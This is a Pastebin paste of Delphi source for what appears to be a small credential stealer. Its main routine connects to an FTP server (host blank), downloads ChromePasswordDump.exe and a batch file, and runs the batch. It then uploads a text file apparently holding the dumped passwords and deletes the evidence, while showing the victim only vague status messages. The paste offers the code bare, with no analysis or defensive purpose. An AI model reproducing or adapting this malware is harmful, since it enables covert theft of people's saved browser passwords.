Advertisement
Golden_Rus

troy

Aug 10th, 2015
258
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 1.62 KB | None | 0 0
  1. unit Unit1;
  2.  
  3. interface
  4.  
  5. uses
  6.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Registry, Forms,
  7.   Dialogs, StdCtrls, ExtCtrls, IdBaseComponent, IdComponent, IdUDPBase,
  8.   IdUDPClient, Wininet, Winsock, IdTCPConnection, IdTCPClient, IdHTTP, AppEvnts, IdFTP, ShellApi;
  9.  
  10. type
  11.   TForm1 = class(TForm)
  12.  
  13.   private
  14.     { Private declarations }
  15.   public
  16.     { Public declarations }
  17.   end;
  18.  
  19. var
  20.   Form1: TForm1;
  21.  
  22. implementation
  23.  
  24. {$R *.dfm}
  25.  
  26. function GetWin(Comand: string): string;
  27. var
  28.  buff: array [0 .. $FF] of char;
  29. begin
  30.  ExpandEnvironmentStrings(PChar(Comand), buff, SizeOf(buff));
  31.  Result := buff;
  32. end;
  33.  
  34.  
  35. var
  36.   ftp: TIdFTP;
  37.   ms:  TMemoryStream;
  38. begin
  39.   ftp:=TIdFTP.Create(Application);
  40.   ms:=TMemoryStream.Create;
  41.   try
  42.     try
  43.       ftp.Host:='';
  44.       ftp.Port:=21;
  45.       ftp.Username:='';
  46.       ftp.Password:='';
  47.       ftp.Connect(true, 2000);
  48.       AssErt(ftp.Connected);
  49.       ftp.ChangeDir('/');
  50.       ShowMessage('Pls wait!');
  51.       ftp.Get('ChromePasswordDump.exe','c:\ChromePasswordDump.exe',true);//Файл Откуда-Куда
  52.       ShowMessage('0x01');
  53.       ftp.Get('4.bat','c:\4.bat',true);
  54.       ShowMessage('0x02');
  55.       WinExec('c:\4.bat',SW_RESTORE);
  56.       sleep(1000);
  57.       ShowMessage('0x03');
  58.       ftp.Put('C:\\1234.txt','1234.txt',false);
  59.       DeleteFile('c:\ChromePasswordDump.exe');
  60.       DeleteFile('c:\4.bat');
  61.       DeleteFile('C:\\1234.txt');
  62.       ShowMessage('All ok!');
  63.       Application.Terminate;
  64.     finally
  65.       ms.Free; ftp.Free;
  66.     end;
  67.   except
  68.     ShowMessage('Fatal error! 0x01');
  69.     Application.Terminate;
  70.   end;
  71.  
  72. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement